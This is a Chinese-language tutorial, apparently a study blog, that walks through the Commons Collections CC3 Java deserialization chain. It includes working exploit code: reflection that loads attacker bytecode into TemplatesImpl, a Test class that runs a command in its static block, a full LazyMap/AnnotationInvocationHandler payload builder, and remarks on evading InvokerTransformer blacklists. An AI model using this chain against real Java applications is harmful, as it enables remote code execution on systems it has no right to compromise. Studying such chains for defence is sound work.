CC3链

CC3

CC3这条链子和前面的两条链有些不同,在这条链子中我们使用了动态类加载替换掉了Runtime.exec,由命令执行换为了代码执行

类加载

我们来回顾一下动态类加载:

ClassLoader中的loadclass调用findClassfindCLass调用defineClass

  • loadClass 作用是从已加载的类、父加载器位置寻找类(双亲委派机制),当前面没有找到的时候,调用 findClass 方法
  • findClass 根据名称或位置来加载类的字节码,其中会调用 defineClass
  • dinfineClass作用是处理前面传入的字节码,将其处理成真正的Java类

由此我们可以知道,核心部分为defineClass

tips:这里的defineClass需要我们多寻找几种参数类型的,因为有些参数类型的方法在外部并没有被调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public Class<?> loadClass(String name) throws ClassNotFoundException {
return loadClass(name, false);
}

protected Class<?> loadClass(String name, boolean resolve)
throws ClassNotFoundException
{
......
if (c == null) {
// If still not found, then invoke findClass in order
// to find the class.
long t1 = System.nanoTime();
c = findClass(name);

......
}
}
......
}
}

// findClass 方法的源代码
protected Class<?> findClass(String name) throws ClassNotFoundException {
throw new ClassNotFoundException(name);
}

// 最后findclass会调用defineClass
protected final Class<?> defineClass(String name, byte[] b, int off, int len)
throws ClassFormatError
{
return defineClass(name, b, off, len, null);
}

CC3攻击链分析

调用defineClass

defineClass只进行类的加载,而只加类加载是不会执行代码的,所以我们需要找到一个实例化的地方

我们需要找到作用域为public的类,方便我们利用。最后在TemplatesImpl中的defineClass找到了调用ClassLoader中的defineClass方法

由于这个类前面并没有标明作用域,所以为default,只有自己的包中可以调用

find usages后,找到了defineTransletClasses调用了该方法,但该方法仍然是private方法,我们需要找到public调用的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
private void defineTransletClasses()
throws TransformerConfigurationException {
......

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

......
}

......
}

实际上我们找到了三个地方,但具体是否可以让我们利用还得进一步看

  1. getTransletClasses

这里只是把_class原封不动返回并无利用处

1
2
3
4
5
6
7
8
9
private synchronized Class[] getTransletClasses() {
try {
if (_class == null) defineTransletClasses();
}
catch (TransformerConfigurationException e) {
// Falls through
}
return _class;
}
  1. getTransletIndex

这里是把他的下标返回了回来,也无利用处

1
2
3
4
5
6
7
8
9
public synchronized int getTransletIndex() {
try {
if (_class == null) defineTransletClasses();
}
catch (TransformerConfigurationException e) {
// Falls through
}
return _transletIndex;
}
  1. getTransletInstance

这个方法初始化了我们传入的加载的类,并且将我们这个类返回,我们可以来执行任意代码了

但仍然是一个private方法,继续回找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

return translet;
}
......
}

调用getTransletInstance

这里我们只找到了一个方法,幸运的是这个是一个public方法

1
2
3
4
5
6
7
8
9
10
11
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);

.......
return transformer;
}

现在只需要一个东西去调用newTransformer的newTransoformer方法即可执行恶意代码

这简单的两句代码,已经把执行的逻辑走完了,但是内部肯定有一些东西我们需要修改

1
2
3
4
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
templates.newTransformer();
}

后续调整

进入到newTransformer,这里是不需要任何赋值,就可以走到getTransletInstance的,我们继续往里走

这里若_name为空则会return所以_name我们需要赋值

我们想要走到definTransletClasses,则需要_class为空,则_class不需要赋值

这个类的无参构造什么都没有做,但它继承了Serializable接口,我们可以利用发射来修改他的值

1
2
3
public TemplatesImpl() { }

public final class TemplatesImpl implements Templates, Serializable

继续走入defineTransletClasses方法,如果_bytecodes为空的话,则会抛出异常,因此我们需要给它赋值

下面的_tfactory是需要调用方法的,防止爆空指针错误,导致无法继续执行后面代码,所以我们也需要给他赋值

现在有三个变量是我们需要去赋值的_name_bytecodes_tfactory

_name这个变量可以随便赋一个字符串类型的值,这里就不过多赘述

接下来我们看看这个_bytecodes是什么类型的private byte[][] _bytecodes = null;他是一个二维数组

我们看一下defineClass的逻辑,它接收了一个一维数组,我们看看谁调用了它

1
2
3
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}

发现在defineTransletClasses方法中调用了它,实际上这里是一个for循环,把二维数组中的每一个数组都遍历出来,我们只需要将一维数组套用到另一个数组内,变成二维数组传入就好

这里的一维数组就是我们传入的字节码对象,defineClass会将他处理成Java类

最后还有一个_tfactory,它标识了transient,说明在序列化和反序列化时是不会传入的,但是在readObject中会初始化它

我们正着来测试一下它,所以在序列化阶段我们先给他赋值,它是一个TransformerFactoryImpl

1
_tfactory = new TransformerFactoryImpl();

具体代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();

//为_name赋值
Class tl = templates.getClass();
Field name = tl.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "CC3");

//为_bytecodes赋值
byte[] code= Files.readAllBytes(Paths.get("F:\\temporary\\Test.class"));
byte[][] codes={code};
Field bytecodes = tl.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, codes);

//可有可无
Field tfactory = tl.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());

templates.newTransformer();
}

但是这里爆了一个空指针错误,我们跟着看一下

报错是由defineTransletClasses这个方法的下列部分引起的,如果我们传入字节码对象的父类不为ABSTRACT_TRANSLET,就会走到else部分中,我们上面说过_class是不赋值的,因此我们这里让执行类的父类变成ABSTRACT_TRANSLET,上面有标注这个常量

1
2
3
4
5
6
7
8
9
private static String ABSTRACT_TRANSLET
= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}

使Test继承AbstractTranslet类,并实现他的抽象方法,修改好后编译

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class Test extends AbstractTranslet{
static{
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}
}

最后也是成功弹出了计算器

调用newTransformer

现在我们只需要用cc1后半段的代码,来执行`newTransformer`方法即可

这里ConstantTransformer传入templates

InvokerTransformer去动态调用templates的newTransformer方法

1
2
3
4
5
6
7
8
 Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null, null)
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

chainedTransformer.transform(1);

最后把cc1的后半部分直接拿过来即可使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();

Class tl = templates.getClass();
Field name = tl.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "CC3");

byte[] code= Files.readAllBytes(Paths.get("F:\\temporary\\Test.class"));
byte[][] codes={code};
Field bytecodes = tl.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, codes);

Field tfactory = tl.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());

// templates.newTransformer();

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null, null)
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

// chainedTransformer.transform(1);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor = aClass.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazyMap);

Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);

Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy);

// serialize(o);
unserialize("ser.bin");

}

这里实际就是换了一个代码执行的方式,有些黑名单可能对InvokerTransformer进行了过滤,我们从ChainedTransformer新开一条路来执行代码